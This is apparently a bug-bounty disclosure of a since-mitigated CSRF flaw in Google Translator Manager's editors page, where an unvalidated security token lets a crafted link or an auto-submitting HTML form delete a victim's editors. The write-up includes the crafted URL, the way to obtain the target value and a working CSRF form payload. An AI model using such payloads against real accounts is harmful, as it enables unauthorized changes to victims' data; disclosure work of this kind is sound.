I have found that Google Translator Manager's follwoing Url https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330&sel=4214ba4271023095 was vulnerable to CSRF as the Anti-CSRF(security token) token is not getting validated on the server side and the request can be sent using get and post both methods also there is a sel parameter whose value is always same and random for each mail and it can be get by attacker easily.

Original CSRF Vulnerable Url(The sel parameter is used for deleting the email id and its value is always same and random for each email id.):

https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330&sel=4214ba4271023095



Crafted CSRF Vulnerable Url:

https://translate.google.com/manager/editors?sel=4214ba4271023095

Now the attacker sends the crafted url to the victims mail or in his chat the victim click on it and opens the crafted Url https://translate.google.com/manager/editors?sel=4214ba4271023095 on his browser as he opens this url the attacker successfully deletes any existing editors of the victims google translator manager account.(as the get request method is allowed and the Anti-CSRF token to prevent the CSRF is not getting validated on the server side even though it is implemented as following parameter security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330 and also the editors email id value for sel=4214ba4271023095(4214ba4271023095=securitytesting01@gmail.com) parameter is always same and the attacker can get this sel value very easily by using any fake account and by adding the victims email id as an editor(temporarily) in his fake google translator manager account.

The Same attack can also be done using post request method using the below mentioned code and sending it to the victim via mail using a crafted html page link:

CSRF Code:



<html>

<head>

</head>

<body onload=document.forms[0].submit();>

<form action="http://translate.google.com:80/manager/editors" method="POST">

<input type="hidden" name="sel" value="4214ba4271023095"/>

</form>

</body>

</html>







Original CSRF Vulnerable Url:

https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA%3A1347028470330&sel=4214ba4271023095




Crafted CSRF Vulnerable Url:

 https://translate.google.com/manager/editors?sel=4214ba4271023095





Both the vulnerabilities has been mitigated now.